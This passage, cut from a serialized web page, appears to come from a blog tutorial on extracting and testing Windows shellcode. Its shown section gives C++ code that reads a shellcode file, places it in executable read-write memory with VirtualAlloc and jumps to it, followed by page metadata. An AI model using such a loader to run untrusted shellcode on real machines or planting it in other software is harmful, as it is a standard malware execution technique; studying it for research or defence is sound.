0A character will be replaced with 0D0A during writing, causing issues with the shellcode\u003C\u002Fp>\u003Ch2>0x04 Shellcode Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Use the following code to read the shellcode saved in the file, load it, and test its functionality:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>size_t GetSize(char * szFilePath)\u003Cbr>{\u003Cbr>\tsize_t size;\u003Cbr>\tFILE* f = fopen(szFilePath, \"rb\");\u003Cbr>\tfseek(f, 0, SEEK_END);\u003Cbr>\tsize = ftell(f);\u003Cbr>\trewind(f);\u003Cbr>\tfclose(f);\u003Cbr>\treturn size;\u003Cbr>}\u003Cbr>unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)\u003Cbr>{\u003Cbr>\tunsigned char *p = NULL;\u003Cbr>\tFILE* f = NULL;\u003Cbr>\tsize_t res = 0;\u003Cbr>\t*size = GetSize(szFilePath);\u003Cbr>\tif (*size == 0) return NULL;\t\t\u003Cbr>\tf = fopen(szFilePath, \"rb\");\u003Cbr>\tif (f == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"Binary file does not exists!\\n\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\tp = new unsigned char[*size];\u003Cbr>\trewind(f);\u003Cbr>\tres = fread(p, sizeof(unsigned char), *size, f);\u003Cbr>\tfclose(f);\u003Cbr>\tif (res == 0)\u003Cbr>\t{\u003Cbr>\t\tdelete[] p;\u003Cbr>\t\treturn NULL;\u003Cbr>\t}\u003Cbr>\treturn p;\u003Cbr>}\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tchar *szFilePath=\"c:\\\\test\\\\shellcode.bin\";\u003Cbr>\tunsigned char *BinData = NULL;\u003Cbr>\tsize_t size = 0;\t\u003Cbr>\tBinData = ReadBinaryFile(szFilePath, &amp;size);\u003Cbr>\tvoid *sc = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\u003Cbr>\tif (sc == NULL)\t\u003Cbr>\t\treturn 0;\t\u003Cbr>\tmemcpy(sc, BinData, size);\u003Cbr>\t(*(int(*)()) sc)();\t\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003C\u002Fbody>\u003C\u002Fhtml>",1580,"Onedaysec",9,"published","2026-02-02T08:19:47.662Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Windows Shellcode Extraction & Testing: Bug Fixes & C++ Tips","Windows shellcode, C++ shellcode development, bug fixes, API dynamic calls, VisualStudio, IDA extraction, global variables, function order, shellcode compatibility",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46,47],169,168,167,166,{"title":39,"description":39,"image":39},"2026-07-24T15:37:14.947Z","2026-07-23T16:01:07.437Z","draft","2026-07-23T16:04:12.201Z","2026-07-23T16:04:12.200Z"]